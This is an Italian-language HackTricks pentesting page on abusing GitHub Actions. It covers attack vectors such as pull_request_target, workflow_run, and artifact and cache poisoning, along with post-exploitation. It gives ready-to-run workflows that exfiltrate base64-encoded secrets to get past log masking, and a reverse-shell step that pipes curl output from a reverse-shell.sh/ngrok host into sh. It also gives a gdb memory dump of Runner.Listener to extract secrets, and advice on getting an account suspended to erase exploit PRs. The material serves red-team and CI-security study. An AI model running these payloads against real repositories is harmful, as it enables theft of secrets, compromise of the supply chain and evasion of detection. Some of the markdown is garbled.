Italian - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Abusing Github Actions

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Informazioni di Base

In questa pagina troverai:

  • Un riassunto di tutti gli impatti di un attaccante che riesce ad accedere a una Github Action

  • Diversi modi per ottenere accesso a un'azione:

  • Avere permessi per creare l'azione

  • Abusare dei trigger pull request correlati

  • Abusare di altre tecniche di accesso esterno

  • Pivoting da un repository già compromesso

  • Infine, una sezione sulle tecniche di post-exploitation per abusare di un'azione dall'interno (causando gli impatti menzionati)

Riassunto degli Impatti

Per un'introduzione su Github Actions controlla le informazioni di base.

Nel caso tu possa eseguire azioni Github arbitrarie/iniettare codice in un repository, potresti essere in grado di:

  • Rubare i segreti da quel repo/organizzazione.

  • Se puoi solo iniettare, puoi rubare tutto ciò che è già presente nel workflow.

  • Abusare dei privilegi del repo per accedere ad altre piattaforme come AWS e GCP.

  • Eseguire codice in custom workers (se vengono utilizzati custom workers) e provare a pivotare da lì.

  • Sovrascrivere il codice del repository.

  • Questo dipende dai privilegi del GITHUB_TOKEN (se presente).

  • Compromettere deployments e altri artifacts.

  • Se il codice sta distribuendo o memorizzando qualcosa, potresti modificarlo e ottenere ulteriori accessi.

GITHUB_TOKEN

Questo "segreto" (proveniente da ${{ secrets.GITHUB_TOKEN }} e ${{ github.token }}) viene fornito quando l'amministratore abilita questa opzione:

Questo token è lo stesso che utilizzerà una Github Application, quindi può accedere agli stessi endpoint: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github dovrebbe rilasciare un flow che consente l'accesso cross-repository all'interno di GitHub, in modo che un repo possa accedere ad altri repo interni utilizzando il GITHUB_TOKEN.

Puoi vedere i possibili permessi di questo token in: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Nota che il token scade dopo il completamento del job. Questi token appaiono così: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Alcune cose interessanti che puoi fare con questo token:

Nota che in diverse occasioni potrai trovare token utente github all'interno degli envs di Github Actions o nei secrets. Questi token possono darti più privilegi sul repository e sull'organizzazione.

Elenca i secrets nell'output di Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Ottenere una reverse shell con secrets

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

È possibile controllare i permessi dati a un Github Token nei repository di altri utenti controllando i log delle azioni:

Esecuzione Consentita

Questo sarebbe il modo più semplice per compromettere le Github actions, poiché questo caso suppone che tu abbia accesso per creare un nuovo repo nell'organizzazione, o abbia privilegi di scrittura su un repository.

Se ti trovi in questo scenario, puoi semplicemente controllare le tecniche di Post Exploitation.

Esecuzione dalla Creazione del Repo

Nel caso in cui i membri di un'organizzazione possano creare nuovi repo e tu possa eseguire github actions, puoi creare un nuovo repo e rubare i secrets impostati a livello di organizzazione.

Esecuzione da un Nuovo Branch

Se puoi creare un nuovo branch in un repository che già contiene una Github Action configurata, puoi modificarla, caricare il contenuto e poi eseguire quell'azione dal nuovo branch. In questo modo puoi esfiltrare i secrets a livello di repository e di organizzazione (ma devi sapere come sono chiamati).

Puoi rendere l'azione modificata eseguibile manualmente, quando viene creato un PR o quando viene caricato del codice (a seconda di quanto vuoi essere rumoroso):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

Esecuzione Forked

Ci sono diversi trigger che potrebbero permettere a un attaccante di eseguire una Github Action di un altro repository. Se queste azioni attivabili sono configurate male, un attaccante potrebbe essere in grado di comprometterle.

pull_request

Il trigger del workflow pull_request eseguirà il workflow ogni volta che viene ricevuta una pull request con alcune eccezioni: per impostazione predefinita, se è la prima volta che stai collaborando, un maintainer dovrà approvare l'esecuzione del workflow:

Poiché la limitazione predefinita è per i collaboratori alla prima volta, potresti contribuire correggendo un bug/errore valido e poi inviare altre PR per abusare dei tuoi nuovi privilegi pull_request.

Ho testato questo e non funziona: Un'altra opzione sarebbe creare un account con il nome di qualcuno che ha contribuito al progetto e ha cancellato il suo account.

Inoltre, per impostazione predefinita impedisce i permessi di scrittura e l'accesso ai secrets al repository di destinazione come menzionato nei docs:

Con l'eccezione di GITHUB_TOKEN, i secrets non vengono passati al runner quando un workflow è attivato da un repository forked. Il GITHUB_TOKEN ha permessi di sola lettura nelle pull request da repository forked.

Un attaccante potrebbe modificare la definizione della Github Action per eseguire cose arbitrarie e aggiungere azioni arbitrarie. Tuttavia, non sarà in grado di rubare secrets o sovrascrivere il repository a causa delle limitazioni menzionate.

Sì, se l'attaccante cambia nella PR la github action che verrà attivata, la sua Github Action sarà quella utilizzata e non quella del repository originale!

Poiché l'attaccante controlla anche il codice eseguito, anche se non ci sono secrets o permessi di scrittura sul GITHUB_TOKEN, un attaccante potrebbe ad esempio caricare artefatti dannosi.

pull_request_target

Il trigger del workflow pull_request_target ha permessi di scrittura sul repository di destinazione e accesso ai secrets (e non chiede permesso).

Nota che il trigger del workflow pull_request_target viene eseguito nel contesto base e non in quello dato dalla PR (per non eseguire codice non attendibile). Per ulteriori informazioni su pull_request_target controlla i docs. Inoltre, per ulteriori informazioni su questo uso specifico pericoloso, controlla questo post sul blog di github.

Potrebbe sembrare che poiché il workflow eseguito è quello definito nel base e non nella PR sia sicuro usare pull_request_target, ma ci sono alcuni casi in cui non lo è.

E questo avrà accesso ai secrets.

workflow_run

Il trigger workflow_run consente di eseguire un workflow da un altro quando è completed, requested o in_progress.

In questo esempio, un workflow è configurato per essere eseguito dopo che il workflow separato "Run Tests" è completato:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Inoltre, secondo la documentazione: Il workflow avviato dall'evento workflow_run è in grado di accedere ai segreti e scrivere token, anche se il workflow precedente non lo era.

Questo tipo di workflow potrebbe essere attaccato se dipende da un workflow che può essere attivato da un utente esterno tramite pull_request o pull_request_target. Un paio di esempi vulnerabili possono essere trovati in questo blog. Il primo consiste nel workflow attivato da workflow_run che scarica il codice dell'attaccante: ${{ github.event.pull_request.head.sha }} Il secondo consiste nel passare un artifact dal codice non fidato al workflow workflow_run e utilizzare il contenuto di questo artifact in modo che sia vulnerabile a RCE.

workflow_call

TODO

TODO: Verificare se quando eseguito da un pull_request il codice utilizzato/scaricato è quello dell'origine o del PR forkato

Abusare dell'Esecuzione Forkata

Abbiamo menzionato tutti i modi in cui un attaccante esterno potrebbe riuscire a far eseguire un workflow di GitHub, ora diamo un'occhiata a come queste esecuzioni, se mal configurate, potrebbero essere abusate:

Esecuzione di checkout non fidato

Nel caso di pull_request, il workflow verrà eseguito nel contesto del PR (quindi eseguirà il codice del PR malevolo), ma qualcuno deve autorizzarlo prima e verrà eseguito con alcune limitazioni.

Nel caso di un workflow che utilizza pull_request_target o workflow_run che dipende da un workflow che può essere attivato da pull_request_target o pull_request verrà eseguito il codice del repository originale, quindi l'attaccante non può controllare il codice eseguito.

Tuttavia, se l'azione ha un checkout PR esplicito che prenderà il codice dal PR (e non dalla base), utilizzerà il codice controllato dall'attaccante. Ad esempio (controlla la linea 12 dove viene scaricato il codice del PR):

# INSICURO. Fornito solo come esempio.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

Il codice potenzialmente non fidato viene eseguito durante npm install o npm build poiché gli script di build e i pacchetti referenziati sono controllati dall'autore del PR.

Un github dork per cercare azioni vulnerabili è: event.pull_request pull_request_target extension:yml tuttavia, ci sono diversi modi per configurare i job in modo sicuro anche se l'azione è configurata in modo insicuro (come l'uso di condizionali su chi è l'attore che genera il PR).

Iniezioni di Script nel Contesto

Nota che ci sono alcuni contesti di GitHub i cui valori sono controllati dall'utente che crea il PR. Se l'azione di GitHub utilizza quei dati per eseguire qualcosa, potrebbe portare a esecuzione arbitraria di codice:

Gh Actions - Context Script Injections

Iniezione di Script in GITHUB_ENV

Dalla documentazione: Puoi rendere una variabile d'ambiente disponibile per qualsiasi passaggio successivo in un job di workflow definendo o aggiornando la variabile d'ambiente e scrivendola nel file di ambiente GITHUB_ENV.

Se un attaccante potesse iniettare qualsiasi valore all'interno di questa variabile env, potrebbe iniettare variabili env che potrebbero eseguire codice nei passaggi successivi come LD_PRELOAD o NODE_OPTIONS.

Ad esempio (questo e questo), immagina un workflow che si fida di un artifact caricato per memorizzare il suo contenuto all'interno della variabile env GITHUB_ENV. Un attaccante potrebbe caricare qualcosa del genere per comprometterlo:

Azioni di Terze Parti di GitHub Vulnerabili

dawidd6/action-download-artifact

Come menzionato in questo post del blog, questa azione di GitHub consente di accedere agli artifact di diversi workflow e persino repository.

Il problema è che se il parametro path non è impostato, l'artifact viene estratto nella directory corrente e può sovrascrivere file che potrebbero essere successivamente utilizzati o persino eseguiti nel workflow. Pertanto, se l'Artifact è vulnerabile, un attaccante potrebbe abusarne per compromettere altri workflow che si fidano dell'Artifact.

Esempio di workflow vulnerabile:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Questo potrebbe essere attaccato con questo workflow:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Altri Accessi Esterni

Hijacking di un Namespace Eliminato

Se un account cambia il suo nome, un altro utente potrebbe registrare un account con quel nome dopo un po' di tempo. Se un repository aveva meno di 100 stelle prima del cambio di nome, GitHub permetterà al nuovo utente registrato con lo stesso nome di creare un repository con lo stesso nome di quello eliminato.

Quindi, se un'azione sta usando un repository da un account inesistente, è ancora possibile che un attaccante possa creare quell'account e compromettere l'azione.

Se altri repository stavano usando dipendenze da questi repository utente, un attaccante sarà in grado di hijackarli. Qui hai una spiegazione più completa: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/

Repo Pivoting

In questa sezione parleremo di tecniche che permetterebbero di pivotare da un repository a un altro supponendo di avere qualche tipo di accesso al primo (controlla la sezione precedente).

Cache Poisoning

Una cache è mantenuta tra esecuzioni di workflow nello stesso branch. Ciò significa che se un attaccante compromette un pacchetto che viene poi memorizzato nella cache e scaricato ed eseguito da un workflow più privilegiato, sarà in grado di compromettere anche quel workflow.

GH Actions - Cache Poisoning

Artifact Poisoning

I workflow potrebbero usare artifact da altri workflow e persino repository, se un attaccante riesce a compromettere la GitHub Action che carica un artifact che viene poi utilizzato da un altro workflow, potrebbe compromettere gli altri workflow:

Gh Actions - Artifact Poisoning

Post Exploitation da un'Azione

Accesso a AWS e GCP tramite OIDC

Controlla le seguenti pagine:

AWS - Federation AbuseGCP - Federation Abuse

Accesso ai segreti

Se stai iniettando contenuto in uno script, è interessante sapere come puoi accedere ai segreti:

  • Se il segreto o il token è impostato come variabile d'ambiente, può essere direttamente accessibile tramite l'ambiente usando printenv.

Elenca i segreti nell'output di GitHub Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Ottenere una reverse shell con secrets</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

  • Se il segreto è usato direttamente in un'espressione, lo script shell generato è memorizzato su disco ed è accessibile.

cat /home/runner/work/_temp/*

* Per un'azione JavaScript i segreti sono inviati tramite variabili d'ambiente
* ```bash
ps axe | grep node

  • Per una custom action, il rischio può variare a seconda di come un programma utilizza il segreto ottenuto dall'argomento:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Abusare dei runner self-hosted

Il modo per trovare quali Github Actions vengono eseguite in infrastrutture non-Github è cercare runs-on: self-hosted nel file di configurazione yaml di Github Action.

I runner self-hosted potrebbero avere accesso a informazioni extra sensibili, ad altri sistemi di rete (endpoint vulnerabili nella rete? servizio di metadata?) o, anche se isolati e distrutti, più di un'azione potrebbe essere eseguita contemporaneamente e quella malevola potrebbe rubare i segreti dell'altra.

Nei runner self-hosted è anche possibile ottenere i **segreti dal processo _Runner.Listener_** che conterrà tutti i segreti dei workflow in qualsiasi fase scaricando la sua memoria:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Consulta questo post per maggiori informazioni.

Registro delle Immagini Docker di Github

È possibile creare azioni Github che costruiscono e memorizzano un'immagine Docker all'interno di Github. Un esempio può essere trovato nel seguente espandibile:

Github Action Build & Push Docker Image

```yaml [...]

  • name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

  • name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

  • name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

  • name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Come puoi vedere nel codice precedente, il registro di Github è ospitato in **`ghcr.io`**.

Un utente con permessi di lettura sul repository sarà quindi in grado di scaricare l'immagine Docker utilizzando un token di accesso personale:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Poi, l'utente potrebbe cercare segreti trapelati nei livelli dell'immagine Docker:

Informazioni sensibili nei log di Github Actions

Anche se Github cerca di rilevare valori segreti nei log delle azioni e evitare di mostrarli, altre informazioni sensibili che potrebbero essere generate durante l'esecuzione dell'azione non saranno nascoste. Ad esempio, un JWT firmato con un valore segreto non sarà nascosto a meno che non sia specificamente configurato.

Coprire le tue tracce

(Tecnica da qui) Prima di tutto, qualsiasi PR sollevata è chiaramente visibile al pubblico su Github e all'account GitHub di destinazione. In GitHub per impostazione predefinita, non possiamo eliminare una PR da internet, ma c'è un trucco. Per gli account Github che sono sospesi da Github, tutte le loro PR vengono automaticamente eliminate e rimosse da internet. Quindi, per nascondere la tua attività, devi far sospendere il tuo account GitHub o farlo segnalare. Questo nasconderebbe tutte le tue attività su GitHub da internet (fondamentalmente rimuovere tutte le tue PR di exploit).

Un'organizzazione su GitHub è molto proattiva nel segnalare account a GitHub. Tutto ciò che devi fare è condividere "qualche cosa" in Issue e si assicureranno che il tuo account venga sospeso in 12 ore :p e voilà, hai reso il tuo exploit invisibile su github.

L'unico modo per un'organizzazione di capire di essere stata presa di mira è controllare i log di GitHub da SIEM poiché dall'interfaccia di GitHub la PR sarebbe rimossa.

Strumenti

I seguenti strumenti sono utili per trovare i workflow di Github Action e persino trovare quelli vulnerabili:

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

PreviousGithub SecurityNextGh Actions - Artifact Poisoning

Last updated